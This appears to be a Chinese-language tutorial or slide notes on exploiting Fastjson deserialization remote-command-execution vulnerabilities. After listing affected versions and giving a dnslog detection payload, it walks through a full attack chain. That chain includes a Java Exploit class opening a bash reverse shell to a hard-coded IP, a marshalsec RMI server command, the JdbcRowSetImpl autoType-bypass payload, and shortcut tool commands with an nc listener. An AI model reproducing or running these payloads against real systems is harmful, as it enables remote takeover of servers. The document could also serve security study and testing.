Fastjson概述
Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。
➢历史漏洞
Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞
➢ Fastjson1.2.47反序列化漏洞
1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
➢ Fastjson寻找
fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了fastjson
➢ Json认识
{
"name":"smith".
"age":28,
"sex":"男"
"school":{
"sname":"南京大学".
"address":"南京市鼓楼区汉口路22号"
}
}
{"name":"smith","empno":1001,"job":"clerck","sal":9000.00,"comm":5000.00}
➢ Fastjson漏洞发现(利用 dnslog)
{"name":{"@type":"java.net.InetAddress","val":"test.sr3uwk.ceye.io"}}
➢ Fastjson的利用(编译)
新建Exploit.java
内容为:https://cowtransfer.com/s/7841d5d6121747
然后cmd下执行:javac Exploit.java,就会生成一个class文件
//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&
/dev/tcp/139.9.198.30/6666 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
➢ Fastjson的利用
把编译好的class文件传到外网系统中,可以访问验证一下是否开启,是否把class文
件放进入,
项目地址:https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
“http://139.9.198.30/2/#Exploit” 1234
➢ Fastjson的利用
执行攻击payload:
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"
b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://139.9.1
98.30:1234/Exploit","autoCommit":true}}
➢ Fastjson的利用(反弹 shell)
➢ Fastjson的利用(简捷)
项目地址:
https://github.com/Betsy0/fastjson_rce_tool
➢ Fastjson的利用(简捷)
java -cp fastjson_tool.jar fastjson.HRMIServer 139.9.198.30 1234 "要执行的命
令“
编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html
➢ Fastjson的利用(简捷)
生成payload
➢ Fastjson的利用(简捷)
Nc监听端口,并将生成的payload执行